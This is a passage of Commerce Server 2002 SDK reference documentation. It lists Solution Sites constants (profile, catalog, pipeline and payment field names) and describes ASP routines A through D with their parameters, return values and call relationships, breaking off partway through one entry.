i_CookiePathCorrectionOptions |  |
APP_BASED_CORRECTION | LONG | 1
FILTER_BASED_CORRECTION | LONG | 2
i_SitePrivacyOptions |  |
PROFILE_GUEST_USER | LONG | 1
TRACK_GUEST_VISITS | LONG | 2
i_SiteRegistrationOptions |  |
REGISTRATION_SUPPORTED | LONG | 1
REGISTRATION_NOT_SUPPORTED | LONG | 0
i_SiteTicketOptions |  |
PUT_TICKET_IN_URL | LONG | 1
PUT_TICKET_IN_COOKIE | LONG | 2
GetProfile option |  |
RETURN_NOTHING_ON_NO_PROFILE | BOOL | 0
RETURN_HRESULT_ON_NO_PROFILE | BOOL | -1
Profile fields |  |
PROFILE_TYPE_USER | BSTR | L"UserObject"
PROFILE_TYPE_ADDRESS | BSTR | L"Address"
PROFILE_TYPE_ORG | BSTR | L"Organization"
SCHEMA_CATALOG | BSTR | L"ProfileDefinitions"
PROFILE_SYSTEM_GROUP | BSTR | L"ProfileSystem"
BUSINESS_DESK_GROUP | BSTR | L"BusinessDesk"
GENERAL_INFO_GROUP | BSTR | L"GeneralInfo"
ACCOUNT_INFO_GROUP | BSTR | L"AccountInfo"
FIELD_ORG_ORG_ID | BSTR | L"org_id"
FIELD_ORG_NAME | BSTR | L"name"
FIELD_ORG_CONTACT | BSTR | L"user_id_admin_contact"
FIELD_ORG_DATE_UPDATED | BSTR | L"date_last_changed"
FIELD_ORG_CHANGED_BY | BSTR | L"user_id_changed_by"
FIELD_ORG_PURCHASING_MANAGER | BSTR | L"user_id_purchasing_manager"
FIELD_ORG_RECEIVING_MANAGER | BSTR | L"user_id_receiver"
ORG_CATALOGSET | BSTR | L"GeneralInfo.org_catalog_set"
FIELD_USER_ID | BSTR | L"user_id"
FIELD_USER_LOGIN_NAME | BSTR | L"logon_name"
FIELD_USER_PASSWORD | BSTR | L"user_security_password"
FIELD_USER_FIRST_NAME | BSTR | L"first_name"
FIELD_USER_LAST_NAME | BSTR | L"last_name"
FIELD_USER_CHANGED_BY | BSTR | L"user_id_changed_by"
FIELD_USER_TELEPHONE | BSTR | L"tel_number"
FIELD_USER_TELEPHONE_EXTENSION | BSTR | L"tel_extension"
FIELD_USER_ORGID | BSTR | L"org_id"
FIELD_USER_STATUS | BSTR | L"account_status"
FIELD_USER_DATE_REGISTERED | BSTR | L"date_registered"
FIELD_USER_PARTNERDESK_ROLE | BSTR | L"partner_desk_role"
FIELD_USER_DATE_UPDATED | BSTR | L"date_last_changed"
FIELD_USER_PARENT_DN | BSTR | L"ParentDN"
FIELD_USER_UserAccountControl | BSTR | L"user_account_control"
FIELD_USER_SAMAccountName | BSTR | L"sam_account_name"
FIELD_USER_OLD_PASSWORD | BSTR | L"old_user_password"
FIELD_USER_NEW_PASSWORD | BSTR | L"new_user_password"
FIELD_USER_CONFIRM_PASSWORD | BSTR | L"confirm_password"
ACCOUNT_STATUS | BSTR | L"account_status"
USER_ID | BSTR | L"user_id"
PROFILE_TYPE | BSTR | L"user_type"
LOGON_NAME | BSTR | L"logon_name"
LOGON_PASSWORD | BSTR | L"user_security_password"
USER_LOGIN_NAME | BSTR | L"GeneralInfo.logon_name"
USER_PASSWORD | BSTR | L"GeneralInfo.user_security_password"
USER_FIRST_NAME | BSTR | L"GeneralInfo.first_name"
USER_LAST_NAME | BSTR | L"GeneralInfo.last_name"
USER_CHANGED_BY | BSTR | L"GeneralInfo.user_id_changed_by"
USER_ORGID | BSTR | L"AccountInfo.org_id"
USER_STATUS | BSTR | L"AccountInfo.account_status"
USER_DATE_REGISTERED | BSTR | L"AccountInfo.date_registered"
USER_CATALOGSET | BSTR | L"AccountInfo.user_catalog_set"
USER_PARTNERDESK_ROLE | BSTR | L"BusinessDesk.partner_desk_role"
USER_DATE_UPDATED | BSTR | L"ProfileSystem.date_last_changed"
USER_PARENT_DN | BSTR | L"ProfileSystem.ParentDN"
USER_UserAccountControl | BSTR | L"ProfileSystem.user_account_control"
USER_SAMAccountName | BSTR | L"ProfileSystem.sam_account_name"
FIELD_ADDRESS_ID | BSTR | L"id"
FIELD_ADDRESS_ADDRESS_ID | BSTR | L"address_id"
FIELD_ADDRESS_TYPE | BSTR | L"address_type"
FIELD_ADDRESS_FRIENDLY_NAME | BSTR | L"address_name"
FIELD_ADDRESS_FIRST_NAME | BSTR | L"first_name"
FIELD_ADDRESS_LAST_NAME | BSTR | L"last_name"
FIELD_ADDRESS_ADDRESS1 | BSTR | L"address_line1"
FIELD_ADDRESS_ADDRESS2 | BSTR | L"address_line2"
FIELD_ADDRESS_CITY | BSTR | L"city"
FIELD_ADDRESS_REGION_NAME | BSTR | L"region_name"
FIELD_ADDRESS_REGION_CODE | BSTR | L"region_code"
FIELD_ADDRESS_POSTAL_CODE | BSTR | L"postal_code"
FIELD_ADDRESS_COUNTRY_CODE | BSTR | L"country_code"
FIELD_ADDRESS_COUNTRY_NAME | BSTR | L"country_name"
FIELD_ADDRESS_TELEPHONE | BSTR | L"tel_number"
FIELD_ADDRESS_TELEPHONE_EXTENSION | BSTR | L"tel_extension"
FIELD_ADDRESS_DATE_CREATED | BSTR | L"date_created"
FIELD_ADDRESS_DATE_UPDATED | BSTR | L"date_last_changed"
FIELD_ADDRESS_UPDATED_BY | BSTR | L"user_id_changed_by"
FIELD_ADDRESS_DESCRIPTION | BSTR | L"description"
ADDRESS_ADDRESS1 | BSTR | L"GeneralInfo.address_line1"
ADDRESS_ADDRESS2 | BSTR | L"GeneralInfo.address_line2"
ADDRESS_CITY | BSTR | L"GeneralInfo.city"
ADDRESS_POSTALCODE | BSTR | L"GeneralInfo.postal_code"
ADDRESS_COUNTRY_NAME | BSTR | L"GeneralInfo.country_name"
ADDRESS_TELEPHONE | BSTR | L"GeneralInfo.tel_number"
ADDRESS_TELEPHONE_EXTENSION | BSTR | L"tel_extension"
ADDRESS_DATE_CREATED | BSTR | L"ProfileSystem.date_created"
ADDRESS_DATE_UPDATED | BSTR | L"ProfileSystem.date_last_changed"
ADDRESS_UPDATED_BY | BSTR | L"GeneralInfo.user_id_changed_by"
ADDRESS_DESCRIPTION | BSTR | L"GeneralInfo.description"
Address types |  |
NEUTRAL_ADDRESS | LONG | 0
SHIPPING_ADDRESS | LONG | 1
BILLING_ADDRESS | LONG | 2
User admin roles |  |
ROLE_USER | LONG | 1
ROLE_ADMIN | LONG | 2
Caching |  |
TICKET_REPLACEMENT_TOKEN | BSTR | L"__TICKET__"
Catalog classes |  |
cscCategoryClass | LONG | 1
cscProductVariantClass | LONG | 2
cscProductClass | LONG | 4
cscProductFamilyClass | LONG | 8
cscProductFamilyForVariantsClass | LONG | 16
cscProductVariantsForFamily | LONG | 32
Catalog attributes/properties |  |
DISPLAY_ON_SITE_ATTRIBUTE | BSTR | L"DisplayOnSite"
DISPLAY_NAME_ATTRIBUTE | BSTR | L"DisplayName"
PROPERTY_NAME_ATTRIBUTE | BSTR | L"PropertyName"
DEFINITION_TYPE_PROPERTY_NAME | BSTR | L"i_ClassType"
CATALOG_PRODUCTID_PROPERTY_NAME | BSTR | L"ProductID"
CATALOG_VARIANTID_PROPERTY_NAME | BSTR | L"VariantID"
PRODUCT_NAME_PROPERTY_NAME | BSTR | L"Name"
PRODUCT_DESCRIPTION_PROPERTY_NAME | BSTR | L"description"
PRODUCT_PRICE_PROPERTY_NAME | BSTR | L"cy_list_price"
CATALOG_NAME_PROPERTY_NAME | BSTR | L"CatalogName"
CATEGORY_NAME_PROPERTY_NAME | BSTR | L"CategoryName"
IMAGE_FILENAME_PROPERTY_NAME | BSTR | L"Image_filename"
IMAGE_WIDTH_PROPERTY_NAME | BSTR | L"Image_width"
IMAGE_HEIGHT_PROPERTY_NAME | BSTR | L"Image_height"
PROD_CLASSTYPE_FLDNAME | BSTR | L"i_ClassType"
PROD_CATALOG_FLDNAME | BSTR | L"CatalogName"
PRODUCTLIST_SORT_PROPERTY_NAME | BSTR | L"name"
CATALOG_SEARCH_CATEGORY_NAME | BSTR | L""
CATALOG_ROOT_CATEGORY_NAME | BSTR | L""
ADO_CONNECTION_STRING | BOOL | -1
Pipeline keys |  |
SHIPPING_ADDRESS_ID | BSTR | L"shipping_address_id"
BILLING_ADDRESS_ID | BSTR | L"billing_address_id"
SHIPPING_METHOD_KEY | BSTR | L"shipping_method_id"
PAYMENT_METHOD | BSTR | L"payment_method"
ORDERFORM_PRODUCT_QTY_KEY | BSTR | L"quantity"
TOTAL_LINEITEMS | BSTR | L"total_lineitems"
SHIPPING_TOTAL | BSTR | L"_cy_shipping_total"
HANDLING_TOTAL | BSTR | L"_cy_handling_total"
TAX_TOTAL | BSTR | L"_cy_tax_total"
SAVED_SUBTOTAL | BSTR | L"saved_cy_oadjust_subtotal"
SAVED_SHIPPING_TOTAL | BSTR | L"saved_cy_shipping_total"
SAVED_HANDLING_TOTAL | BSTR | L"saved_cy_handling_total"
SAVED_TAX_TOTAL | BSTR | L"saved_cy_tax_total"
SAVED_TOTAL_TOTAL | BSTR | L"saved_cy_total_total"
SUBTOTAL | BSTR | L"_cy_oadjust_subtotal"
TOTAL_TOTAL | BSTR | L"_cy_total_total"
CC_NAME | BSTR | L"cc_name"
CC_TYPE | BSTR | L"cc_type"
CC_NUMBER | BSTR | L"_cc_number"
CC_MONTH | BSTR | L"_cc_expmonth"
CC_YEAR | BSTR | L"_cc_expyear"
CREDIT_CARD_PAYMENT_METHOD | BSTR | L"credit_card"
PURCHASE_ORDER_PAYMENT_METHOD | BSTR | L"purchase_order"
INI file |  |
CONFIG_FILE | BSTR | L"CSApp.ini"
SITE_NAME | BSTR | L"SiteName"
APP_NAME | BSTR | L"AddressKeyName"
SiteConfig |  |
WEB_SERVER_MACHINE | BSTR | L"s_WebServerMachine"
WEB_SERVER_NAME | BSTR | L"s_WebServerName"
WEB_SERVER_COUNT | BSTR | L"s_NumberOfServers"
CURRENT_WEB_SERVER | BSTR | L"s_CurrentServer"
WEB_SERVER_INSTANCE | BSTR | L"s_WebServerInstance"
Table names |  |
ADDRESS_BOOK_TABLE | BSTR | L"AddressBook"
HRESULTs |  |
HRESULT_E_FAIL | LONG | -2147467259 (0x80004005)
HRESULT_E_NOTIMPL | LONG | -2147467263 (0x80004001)
Input field types |  |
TEXTBOX | LONG | 0
LISTBOX | LONG | 1
PASSWORD | LONG | 2
HIDDEN | LONG | 3
CHECKBOX | LONG | 4
COMBOBOX | LONG | 5
DATETIME | LONG | 7
FileSystemObject |  |
ForReading | LONG | 1
TristateUseDefault | LONG | -2

See Also

HTMLLib Constants

Miscellaneous Constants

Access Constants

Global Constants

Partner Service Constants


Routines Reference

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Nearly all of the content displayed in the Commerce Server Solution Sites is constructed dynamically using Microsoft Visual Basic Scripting Edition, running within Active Server Pages (ASP). Numerous routines have been written that can be used as is for building new pages, or the routines can be modified as needed to alter existing pages and to support new pages.

It is crucial that you understand the existing Solution Sites routines in order to avoid rewriting code that has already been written and debugged. There are nearly 700 subroutines and functions in the Solution Sites files.

This reference contains one topic per routine. Each routine topic describes the purpose of the routine. A definition section shows the routine definition from the source file. For the most commonly used routines, the parameters are described in detail, return values are described where they exist, and additional remarks may be present. Each routine topic also contains a link to the topic for the file in which the routine is defined.

All routine topics are interlinked in the same fashion as their calling sequences, so that they can be traversed in the same way. This can be important when modifying existing code, and understanding the potential side effects of those changes. See the sections in each topic named "Routines Called" and "Called By".

To make the number of routines more manageable, the routine topics have been divided alphabetically as indicated.

This section contains:

  • A - D
  • E - G
  • H
  • I - O
  • P - R
  • S - V


A - D

Feedback zu dieser Seite senden Commerce Server 2002 SDK

A – D

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This section contains topics for the following routines, beginning with the letters A through D.

Routine | File
AddDiscountMessages | include\std_ordergrp_lib.asp
AddDiscountMessages | services\include\logic_orders.asp
AddGroupAndPropertySchemas | include\global_profile_lib.asp
AddPartnerAndCustomerServicePages | services\include\global_service_lib.asp
AddPartnerAndCustomerServiceStyles | services\include\global_service_lib.asp
AddSetClauseAndUpdateUserAccountControl | services\include\save_all_profiles.asp
AddURLArguments | include\std_url_lib.asp
Analysis_ConstructKeyValueString | include\analysis.asp
Analysis_ConstructPRID | include\analysis.asp
Analysis_LogAddToBasket | include\analysis.asp
Analysis_LogEvent | include\analysis.asp
Analysis_LogRemoveFromBasket | include\analysis.asp
Analysis_LogSubmitOrder | include\analysis.asp
Application_OnStart | global.asa
ApplyVendorInfo | _additem.asp
arrPopulateOrderHeaderDetails | services\include\render_orders.asp
arrPopulateProfileDetails | services\include\render_list.asp
arrSearchDept | srchdept.asp
bAddUserToGroup | services\include\ad_routines.asp
bCheckIfProfileExists | services\include\check_profile.asp
bCheckIfThePropertyFeatureIsSupported | services\include\lib.asp
bClickedViewButton | stepsrch.asp
bClickedViewOrSearchButton | stepsrch.asp
bFullTextResultsAreCached | search.asp
bHandlePaintingACLsForUsersInAD | services\include\save_one_profile.asp
bInsertProfile | services\include\save_one_profile.asp
bInsertProfileDetails | services\include\save_one_profile.asp
bInsertProperty | services\include\save_one_profile.asp
bInvalidDate | services\include\lib.asp
bIsAddressNameUnique | newaddr.asp
bIsPropertyValueAdded | services\include\check_profile.asp
bIsSearchDeptPageCached | srchdept.asp
bIsShippingMethodSupported | _setship.asp
bIsSiteTerm | include\global_siteterms_lib.asp
bIsStepSearchPageCached | stepsrch.asp
bMatchesPattern | include\form_lib.asp
Bold | include\html_lib.asp
BooleanToString | include\std_string_lib.asp
bPaintACLForUser | services\include\ad_routines.asp
bProfileHasChanged | services\include\check_profile.asp
bRegistrationPageNotAvailable | login\newuser.asp
bRemoveUserFromGroup | services\include\ad_routines.asp
BRTag | include\html_lib.asp
bSaveProfileAndRedirect | services\include\save_one_profile.asp
bSaveProfileDetails | services\include\save_one_profile.asp
bSaveProperty | services\include\save_one_profile.asp
bSaveReadWriteProperty | services\include\save_one_profile.asp
bValidateLoginNameChars | services\include\lib.asp
bValidatePasswordChars | services\include\lib.asp
CacheFragment | include\std_cache_lib.asp
CacheObject | include\std_cache_lib.asp
CatchErrors | _setadrs.asp
CatchErrors | _setship.asp
CatchErrors | addrbook.asp
CatchErrors | addrform.asp
CatchErrors | newaddr.asp
CatchErrors | pickship.asp
CatchErrors | summary.asp
CatchErrorsForPaymentPages | include\payment.asp
cellRenderReadOnlyProperty | services\include\render_common.asp
ChangeActionHandler | services\include\password_handlers.asp
CheckBasket | basket.asp
CheckIfOrderExists | services\include\lib.asp
CheckIfProfilesExist | services\include\lib.asp
CheckOut | include\payment.asp
CheckPartnerServiceAccess | include\std_access_lib.asp
CloseOrderDetailsActionHandler | services\include\order_handlers.asp
CollectBasketItems | template\discount.asp
colRenderAdvancedSearchTab | services\include\render_common.asp
colRenderCountryNames | services\include\render_common.asp
colRenderForeignKeyProperty | services\include\render_edit_common.asp
colRenderPasswordProperty | services\include\render_edit_common.asp
colRenderPrimaryKeyProperty | services\include\render_edit_common.asp
colRenderProperty | services\include\render_edit_common.asp
colRenderPropertyTip | services\include\render_edit_common.asp
colRenderSimpleSearchTab | services\include\render_common.asp
colRenderUniqueKeyProperty | services\include\render_edit_common.asp
ConvertListToArray | include\std_util_lib.asp
CopyProductToItem | template\discount.asp
CorrectRequest | include\std_cookie_lib.asp
CreateOptOutList | opt-out.asp
CreatePOIndexes | basket.asp
CreateSet | include\std_util_lib.asp
DeleteAllActionHandler | services\include\edit_handlers.asp
DeleteAllProfiles | services\include\delete_profiles.asp
DeleteRegisteredUser | services\include\delete_profiles.asp
DeleteSelectedProfiles | services\include\delete_profiles.asp
DeleteSingleProfile | services\include\delete_profiles.asp
DeSelectAllActionHandler | services\include\edit_handlers.asp
dictAggregatePreviews | pickship.asp
dictGetCatalogAttributes | include\global_catalog_lib.asp
dictGetInitialFieldValues | newaddr.asp
dictGetProfileSchemaForAllProfileTypes | include\global_profile_lib.asp
dictGetpropertyFromList | services\include\lib.asp
dictGetPropertySchema | include\global_forms_lib.asp
dictGetRSFields | include\global_catalog_lib.asp
dictGetSearchDictionaryForPage | services\include\lib.asp
DoubleQuote | include\std_util_lib.asp


AddDiscountMessages (std_ordergrp_lib.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub adds a footnote symbol for each discount applied to each line item. The footnote symbol is a "D" plus the campaign ID.

Definition

Sub AddDiscountMessages(
  mscsOrderGrp
)

Parameters

mscsOrderGrp
An initialized OrderGroup object.

Defined in File

include\std_ordergrp_lib.asp

Routines Called

None.

Called By

Main (basket.asp)

Main (summary.asp)


AddDiscountMessages (services\include\logic_orders.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub adds a footnote symbol for each discount applied to each line item. The footnote symbol is a "D" plus the campaign ID.

Definition

Sub AddDiscountMessages(
  mscsOrderGrp
)

Parameters

mscsOrderGrp
An initialized OrderGroup object.

Defined in File

services\include\logic_orders.asp

Routines Called

None.

Called By

mscsGetOrderGroupWithDiscountsByID


AddGroupAndPropertySchemas - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub recursively adds all group and property definitions for a profile to a flat list of Dictionary objects contained in a SimpleList object.

Definition

Sub AddGroupAndPropertySchemas(
  byVal oGroup,
  byRef listProperties,
  byRef oProfileDefsCatalog,
  byRef oSiteTermsProfile
)

Defined in File

include\global_profile_lib.asp

Routines Called

dictGetPropertySchema

GetDictionary

Called By

listGetProfileSchema


AddPartnerAndCustomerServicePages - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub assigns friendly names to pages used by Customer and Partner Services.

Definition

Sub AddPartnerAndCustomerServicePages(
  byRef dictPage
)

Defined in File

services\include\global_service_lib.asp

Routines Called

None.

Called By

GetSitePages


AddPartnerAndCustomerServiceStyles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub adds styles used by Customer and Partner Services.

Definition

Sub AddPartnerAndCustomerServiceStyles(
  byRef objSiteStyle
)

Defined in File

services\include\global_service_lib.asp

Routines Called

None.

Called By

GetSiteStyles


AddSetClauseAndUpdateUserAccountControl - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function updates the PartnerDeskRole property in the profile of the user by creating the appropriate SQL statement.

Definition

Function AddSetClauseAndUpdateUserAccountControl(
  byRef bFieldUpdated,
  byRef bFieldSelected
  byVal dictSearchOptions
)

Return Value

A string containing a SQL statement.

Defined in File

services\include\save_all_profiles.asp

Routines Called

GetRequestString

GetUserAccountControl

sAddSetClause

sGetThisPageProperty

UpdateUserAccountControlProperty

Called By

SaveAllSelectedProfiles


AddURLArguments - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function appends property/value pairs to a URL string.

Definition

Function AddURLArguments(
  byVal url,
  byRef arrParams,
  byRef arrVals
)

Parameters

url
A string containing a URL.
arrParams
An array of strings containing the property names.
arrVals
An array of strings containing the values corresponding to the property names.

Return Value

A string containing the new URL string.

Defined in File

include\std_url_lib.asp

Routines Called

None.

Called By

IsPersistentCookieAllowed

Remarks

The format of the resulting URL string is:

   url?property1=value1&property2=value2


Analysis_ConstructKeyValueString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs a key/value pair for a Commerce event.

Definition

Function Analysis_ConstructKeyValueString(
  byVal sKey,
  byVal sValue
)

Parameters

sKey
A string containing the key.
sValue
A string containing the value corresponding to the key.

Return Value

A string containing the key/value pair.

Defined in File

include\analysis.asp

Routines Called

DoubleQuote

Called By

Analysis_ConstructPRID

Analysis_LogSubmitOrder

Remarks

The format of the string is:

   sKey="sValue"

See Also

About the Analysis Integration Feature for Solution Sites


Analysis_ConstructPRID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs the PRID property string for "add to basket" and "remove from basket" Commerce events.

Definition

Function Analysis_ConstructPRID(
  byVal sCatalogName,
  sCategoryName,
  byVal sProductID
  byVal sVariantID
)

Parameters

sCatalogName
A string containing the catalog name.
sCategoryName
A string containing the category name.
sProductID
A string containing the product ID.
sVariantID
A string containing the variant ID.

Return Value

A string containing the property.

Defined in File

include\analysis.asp

Routines Called

Analysis_ConstructKeyValueString

Called By

Analysis_LogAddToBasket

Analysis_LogRemoveFromBasket

Remarks

The sCategoryName parameter is not used.

The sVariantID parameter can be Null.

The format of the string is:

   sCatalogName;sProductID;sVariantID

See Also

About the Analysis Integration Feature for Solution Sites


Analysis_LogAddToBasket - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub logs a Commerce event (CEVT) when an item is added to the basket.

Definition

Sub Analysis_LogAddToBasket(
  byVal sCatalogName,
  byVal sCategoryName,
  byVal sProductID,
  byVal sVariantID
)

Parameters

sCatalogName
A string containing the catalog name.
sCategoryName
A string containing the category name.
sProductID
A string containing the product ID.
sVariantID
A string containing the variant ID.

Defined in File

include\analysis.asp

Routines Called

Analysis_ConstructPRID

Analysis_LogEvent

Called By

Main (_additem.asp)

Remarks

The sCategoryName parameter is not used.

The sVariantID parameter can be Null.

The format of the logged event is:

   CEVT={T=BSK,EVT=AIBSK,sCatalogName;sProductID;sVariantID}

See Also

About the Analysis Integration Feature for Solution Sites


Analysis_LogEvent - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function logs a Commerce event (CEVT) to the Web server log file.

Definition

Sub Analysis_LogEvent(
  byVal sClass,
  byVal sEvent,
  byVal rgKeyValueStrings
)

Parameters

sClass
A string containing the class of the event.
sEvent
A string containing the name of the event.
rgKeyValueStrings
An array of strings containing the properties to log.

Defined in File

include\analysis.asp

Routines Called

None.

Called By

Analysis_LogAddToBasket

Analysis_LogRemoveFromBasket

Analysis_LogSubmitOrder

Remarks

The format of the logged event is:

   CEVT={T=sClass,EVT=sEvent,property1,property2,...}

See Also

About the Analysis Integration Feature for Solution Sites


Analysis_LogRemoveFromBasket - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub logs a Commerce event (CEVT) when an item is removed from the basket.

Definition

Sub Analysis_LogRemoveFromBasket(
  byVal sCatalogName,
  sCategoryName,
  byVal sProductID,
  byVal sVariantID
)

Parameters

sCatalogName
A string containing the catalog name.
sCategoryName
A string containing the category name.
sProductID
A string containing the product ID.
sVariantID
A string containing the variant ID.

Defined in File

include\analysis.asp

Routines Called

Analysis_ConstructPRID

Analysis_LogEvent

Called By

Main (_delitem.asp)

Remarks

The sCategoryName parameter is not used.

The sVariantID parameter can be Null.

The format of the logged event is:

   CEVT={T=BSK,EVT=RIBSK,sCatalogName;sProductID;sVariantID}

See Also

About the Analysis Integration Feature for Solution Sites


Analysis_LogSubmitOrder - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub logs a Commerce event when an order is submitted.

Definition

Sub Analysis_LogSubmitOrder(
  byVal sOrderID
)

Parameters

sOrderID
A string containing the order ID.

Defined in File

include\analysis.asp

Routines Called

Analysis_ConstructKeyValueString

Analysis_LogEvent

Called By

SaveBasketAsOrder

Remarks

The format of the logged event is:

   CEVT={T=ORD,EVT=SUBOR,ORID=OrderID}

See Also

About the Analysis Integration Feature for Solution Sites


Application_OnStart - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub runs when the application starts.

Definition

Sub Application_OnStart()

Defined in File

global.asa

Routines Called

Main (include\global_main_lib.asp)

Remarks

The application starts when the first user requests a file in the application.


ApplyVendorInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub retrieves the vendor information for the specified catalog and adds that information to the dictionary containing the line item information if BizTalk Server integration is enabled (i_BizTalkOptions = 1).

Definition

Sub ApplyVendorInfo(
  dictItem,
  sCatalogName
)

Parameters

dictItem
A Dictionary object containing the product information.
sCatalogName
A string containing the catalog name.

Defined in File

_additem.asp

Routines Called

None.

Called By

Main (_additem.asp)


arrPopulateOrderHeaderDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function populates an array of table cells representing one order in a recordset of orders. The first cell is a radio button that is selected on the first order.

Definition

Function arrPopulateOrderHeaderDetails(
  byRef iCount,
  byRef rsOrder
)

Parameters

iCount
An integer that determines whether the rendered "RADIO" element contains the CHECKED attribute.
rsOrder
A Recordset object containing order information.

Return Value

The populated array.

Defined in File

services\include\render_orders.asp

Routines Called

htmRenderCurrency

RenderRadioButton

sGetOrderStatusDetails

Called By

tableRenderOrdersListContents

Remarks

The first member of the array specifies an HTML RADIO button INPUT element. The remaining members of the array contain order information.


arrPopulateProfileDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function populates an array with the properties of a profile.

Definition

Function arrPopulateProfileDetails(
  byVal sAction,
  byVal sSubAction,
  byVal Count
  byVal rsProfile
)

Defined in File

services\include\render_list.asp

Routines Called

htmRenderUniqueIDForProfile

listCloneProfileSchema

sGetDisplayValueForProperty

sGetThisPageProperty

Called By

tableRenderMultipleRecords


arrSearchDept - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves a list of searchable categories from a catalog.

Definition

Function arrSearchDept(
  byRef sItemSeparator
)

Parameters

sItemSeparator
A string containing the character sequence that separates the catalog and category names.

Return Value

A one-dimensional array of strings containing the catalog name, item separator, and category name.

Defined in File

srchdept.asp

Routines Called

GetCatalogForUser

mscsUserCatalogs

Called By

Main (srchdept.asp)

Remarks

The sItemSeparator parameter equals "::::". Thus the format of one of the strings is:

   catalog_name::::category_name


bAddUserToGroup - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds a user to an existing Active Directory group.

Definition

Function bAddUserToGroup(
  byVal szGroupName,
  byVal sUserDN
)

Parameters

szGroupName
A string containing the name of the Active Directory group.
sUserDN
A string containing the distinguished name of the user.

Return Value

A Boolean that indicates whether the user was successfully added to the group. True indicates success. False indicates failure.

Defined in File

services\include\ad_routines.asp

Routines Called

rsGetProfile

Called By

bPaintACLForUser


bCheckIfProfileExists - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether a specific profile already exists.

Definition

Function bCheckIfProfileExists(
  byRef sStatusField,
  byRef iStatusID
)

Defined in File

services\include\check_profile.asp

Routines Called

EnsureUserProfile

GetRequestString

rsGetProfile

sGetThisPageProperty

Called By

PrepareInsertProfile

PrepareSaveProfiles


bCheckIfThePropertyFeatureIsSupported - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether the featureID attribute for the specified property is set.

Definition

Function bCheckIfThePropertyFeatureIsSupported(
  byVal oProperty
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

bInsertProperty

bIsPropertyValueAdded

bProfileHasChanged

bSaveProfileDetails

listGetValidPropertiesForMultiEdit

listReConstructPropertiesSchema

SaveAllSelectedProfiles

tableRenderBlankProfile

tableRenderProfiles

ValidateFields


bClickedViewButton - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks whether the user clicked the View button.

Definition

Function bClickedViewButton()

Return Value

A Boolean that indicates whether the View button was clicked. True indicates the button was clicked. False indicates the button was not clicked.

Defined in File

stepsrch.asp

Routines Called

GetRequestString

Called By

PerformSpecificationSearch


bClickedViewOrSearchButton - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks whether the user clicked either the View or Search buttons.

Definition

Function bClickedViewOrSearchButton()

Return Value

A Boolean that indicates whether one of the buttons was clicked. True indicates one of the buttons was clicked. False indicates that neither of the buttons were clicked.

Defined in File

stepsrch.asp

Routines Called

GetRequestString

Called By

Main (stepsrch.asp)


bFullTextResultsAreCached - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks whether the specified free-text search phrase is cached.

Definition

Function bFullTextResultsAreCached(
  sSearchPhrase,
  byRef htmCachedResult,
  byRef sCacheKey
)

Parameters

sSearchPhrase
A string containing the search phrase.
htmCachedResult
A string containing the HTML cached results.
sCacheKey
A string containing the cache key.

Return Value

A Boolean that indicates whether the phrase is cached. True indicates the phrase is cached. False indicates either the phrase is not cached or that free-text search is not installed.

Defined in File

search.asp

Routines Called

LookupCachedFragment

mscsUserCatalogsetID

RenderText

Called By

Main (search.asp)

Remarks

The cache key consists of the catalog ID concatenated with the search phrase.

If free-text search is not installed, the htmCachedResult parameter contains an error message and the sCacheKey parameter is an empty string.


bHandlePaintingACLsForUsersInAD - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function handles painting of appropriate access control lists (ACLs) for users in Active Directory (adding the users to/from the appropriate Active Directory groups, for example, ADMINGROUP or USERGROUP).

Definition

Function bHandlePaintingACLsForUsersInAD(
  byVal sSubAction,
  byVal sProfileIDs,
  ByVal arrPrevRole,
  ByVal arrCurrentRole
)

Parameters

sSubAction
A string containing the subaction (add or copy).
sProfileIDs
A string containing profile IDs separated by the constant PROFILE_ID_SEPARATOR.
arrPrevRole
An array of integers specifying the previous PartnerDesk roles of the users.
arrCurrentRole
An array of integers specifying the current PartnerDesk roles of the users.

Return Value

A Boolean indicating whether the users were successfully added. True indicates success. False indicates failure.

Defined in File

services\include\save_one_profile.asp

Routines Called

bPaintACLForUser

GetUserPropertyFromID

Called By

bInsertProfileDetails

bSaveProfileDetails


bInsertProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function validates the login name and password of a user and, if successful, creates a new profile.

Definition

